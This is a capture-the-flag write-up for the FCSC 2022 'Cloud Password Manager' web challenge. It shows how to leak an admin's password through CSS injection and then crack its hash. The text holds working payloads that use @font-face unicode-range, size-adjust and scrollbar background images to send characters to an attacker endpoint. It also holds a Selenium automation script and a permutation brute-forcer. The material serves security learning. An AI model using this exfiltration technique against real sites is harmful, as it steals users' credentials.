title: FCSC 2022 - Cloud Password Manager
date: May 08, 2022
tags: Web_Writeup FCSC_2022 CSS_Injection Hash_Cracking Web

FCSC 2022 - Cloud Password Manager

Table of contents

A cloud password storage company comes under attack.

As the admin is unreachable, you are asked to estimate very quickly if it is possible to connect to his account.

Note: User accounts older than one hour are automatically deleted.

First overview

So let's have a look to this challenge!


Hum there are some important information here, let's group them:

Basically we can try /flag :-)


That page is restricted to the admin account, it would unfortunately be more difficult... Let's continue our recognition!

Create an account

To access all pages of the website, we have to create an account, but there are some restrictions for the password:

So we can login with these creds for example: Ruulian:P4sswordpass. And we arrive in hell heaven...


Here we can see that we can set our own CSS on the page and send it to admin for a review.

Admin context simulation

Hum if we remember, hackers on the main page were saying that admin stores his password on his page. We can post a password which respects the rules to simulate admin context:


Now it's time to exploit!



First idea we have with these informations is CSS Exfiltration, because we can inject CSS as we want and we have to exfiltrate data.. What a brainstorm!

If we do some research, we can see that classical CSS Exfiltration allows to leak elements attributes like CSRF tokens.

The problem

If we go deeper into the code, we can see that our password is not in an element attribute:

<div class="col-md-4 pb-4">
    <div class="toast show w-75 mx-auto">
        <div class="toast-header">
            <a href="passwords/542"><i class="fas fa-trash lp-2"></i></a>&nbsp;&nbsp;
            <span class="ml-4"><strong>This website</strong></span>
        <div id="p1" class="toast-body password">P4sswordpass</div>

So we have to find a better way to exfiltrate data than leaking attributes.

First solution

After some research, we can find a paper which explains a cool way to exfiltrate element content.

 src: url(; /* fetched */
 unicode-range:U+0041; /* Unicode for A */
 src: url(; /* fetched */
 unicode-range:U+0042; /* Unicode for B */
 src: url(; /* not fetched */
 unicode-range:U+0043; /* Unicode for C */
<p id="sensitive-information">AB</p>

To understand this payload we have to know a little about CSS: it is possible to specify a custom font with @font-face. There are 2 required parameters, font-family which specifies the name of the font and src which specifies the source of the font. Here there is an optional parameter: unicode-range. This parameter specifies for which character the font will be used.

So now we can fully understand this exploit.


This part of the code tries to call the fonts with font-family:poc; but a font will be loaded only if element's content respects the unicode-range. So if there is the character specified in unicode-range in #sensitive-information content, the font source will be requested. We specify our evil url and we can exfiltrate characters like that!

The problem (bis)

We can try our exploit with our password P4sswordpass in p1 id.

Here is our payload:

 src: url(;
 unicode-range:U+0034; /* Unicode for 4 because there is a 4 in our password */

If the exploit works, we'll receive a request on, but... 0... still waiting...


I think we have forgotten to check something...


CSP (Content Security Policy)

Let's check the CSP:

content-security-policy: default-src 'none'; script-src; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src http://* https://*; base-uri 'none';

If we let only the important parts:

style-src 'self' 'unsafe-inline'; -> disallows @import
img-src http://* https://*; -> allows all images from http or https
font-src 'self'; -> allows only fonts from

The others policies are not important in our case.

Anyway our trick with font-face source doesn't work.. :(

The solution (bis)

If we go deeper into our research, we can find a paper which talks about text node exfiltration with a scrollbar. In Chrome browser, there is a way to select scrollbars with CSS pseudo-element ::-webkit-scrollbar, so the trick is to use our initial payload with font-face and make sure that when the font is loaded, it will create a scrollbar.

First, let's check if admin is on a chrome browser by sending this css:

  overflow: auto; /* Generate a scrollbar automatically when width is overflowed */
  width: 3px; /* Reduce width to generate the scrollbar */
  height: 30px; /* Fix the height to force the scrollbar */

/* Detect scrollbar */
    background-image: url(; /* GET request to our endpoint */

If we receive ?chrome, it means that admin is using Chrome browser, which means that we can use this exploit!


We can continue on that way!

Crafting our payload

It's cool we can create a scrollbar, but what about generating a scrollbar when a font is loaded? On font-face documentation, we can see size-adjust descriptor which modify the size of characters affected by the font.

How can we use it? It's pretty easy, if we really increase the size of the character affected by the font, it will create a scrollbar and with #p1::-webkit-scrollbar we can make a request to our endpoint. So we have all we need!

Here is our exploit:

  src:url(/static/fonts/Georgia.ttf); /* This source is allowed, found in /static/bootstrap.css */
  size-adjust:1000%; /* Increase a lot the char size */
  unicode-range:U+0041; /* Unicode for A */

  width:150px; /* Increase width to be sure that the scrollbar doesn't spawn if font not loaded */
  height:60px; /* Same */
  font-family: toto;

/* Detect scrollbar */
    background-image: url(; /* Exfiltrate char */

We have now to bruteforce the chars, we can make a little Python code:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import string
import time
import random
from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions

evil_endpoint = ""

# Uppercase + lowercase + digits
chars = string.ascii_letters + string.digits 

print(f"[\x1b[92m+\x1b[0m] Starting exploit")

# Generating random username 
username = "".join([random.choice(chars) for k in range(10)])
password = "P4sswordpass"

# Creating driver
options = FirefoxOptions()
driver = webdriver.Firefox(options=options)

# Login with credentials

print(f"[\x1b[92m+\x1b[0m] Logged in with credentials: {username}:{password}")

# Payload template
template = """
    size-adjust:1000%%; /* %% because of format string */
    font-family: toto;
    background-image: url(%s?character_returned);
""" % evil_endpoint

for char in chars:
    print(f"[\x1b[94m>\x1b[0m] Sending payload for '{char}'")

    # Encoding character 
    unicoded = f"U+00{char.encode().hex()}"

    # Replacing template values to put our characters
    res = template.replace("character_returned", char).replace("unicoded_char", unicoded)


    # Clicking on button to update style

    # Filling the textarea with our css
    style_content = driver.find_element_by_name("style_content")

    # Update our style


    # Send to the admin


# Closing driver

print(f"[\x1b[92m+\x1b[0m] Exploit finished, check your evil endpoint {evil_endpoint}")

I tried to comment the code as well as possible to make it clearful. We just have to wait for the characters on our evil endpoint.


We have all of our characters: hkmquGIOST24! They are corresponding to password policy (12 characters, 2 digits, 5 lowercase letters, 5 uppercase letters). Now it's time to find the admin password...

Crack the hash

We have several ways to crack the hash with those characters, we could use colabcat (probably the faster way) but I preferred to make my own code to learn a little about multithreading in Python.

The best way I found to multithread that is to make one thread by first character and move the characters, here is an example:

abcd -> One thread
bcda -> One thread
cdab -> One thread
dabc -> One thread

So the code will bruteforce the chars from right to left and all passwords are going to be generated (12! passwords) in twelve times less time because we have 12 characters (Duration for 11! passwords).

Here is our code:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from import check_password_hash
from multiprocessing import Process

chars = "hkmquGIOST24"

# Function which test if hash and password are corresponding
def test(pass_to_test):
    if check_password_hash("sha256$FKM5MLhBFZ87pPgI$a51c4c0463d199fcf4a18bd8df2f40360c46e9caed05072618e8026f02dc83bf", pass_to_test):
        print(f"[\x1b[92m+\x1b[0m] Password found: '{pass_to_test}'!")

# Generate all permutations of chars
def permutations(start, end=[]):
    if len(start) == 0:
        res = "".join(end)
        for i in range(len(start)):
            permutations(start[:i] + start[i+1:], end + start[i:i+1])

print(f"[\x1b[92m+\x1b[0m] Starting bruteforce...")

for i in range(1, 13):
    # Generate all strings with differents first char
    res = chars[-i:] + chars[:-i]

    print(f"[\x1b[94m>\x1b[0m] Creating thread for those chars: {res}")

    # Create thread which executes 'permutations' function with strings generated
    add = Process(target=permutations, args=(list(res),))

    # Start thread

Now we can launch it and wait a little...

ruulian@FCSC2022~$ ./ 
[+] Starting bruteforce...
[>] Creating thread for those chars: 4hkmquGIOST2
[>] Creating thread for those chars: 24hkmquGIOST
[>] Creating thread for those chars: T24hkmquGIOS
[>] Creating thread for those chars: ST24hkmquGIO
[>] Creating thread for those chars: OST24hkmquGI
[>] Creating thread for those chars: IOST24hkmquG
[>] Creating thread for those chars: GIOST24hkmqu
[>] Creating thread for those chars: uGIOST24hkmq
[>] Creating thread for those chars: quGIOST24hkm
[>] Creating thread for those chars: mquGIOST24hk
[>] Creating thread for those chars: kmquGIOST24h
[>] Creating thread for those chars: hkmquGIOST24
[+] Password found: '4mSIq2uGThOk'!

Let's gooooo, we finally got it! We just have to connect to admin account with credentials: admin:4mSIq2uGThOk.

Getting the flag

We are successfully connected to admin account!


We just have to go on /flag and find our flag :-)


Here is our flag: FCSC{285b45edec8067daa4e8548168cc37cbb20cadc6162006cd248778adce9178c0}


This challenge was really nice, we learned a lot about CSS exfiltration with a little bit of cryptography. Thanks a lot to the creator for this great challenge!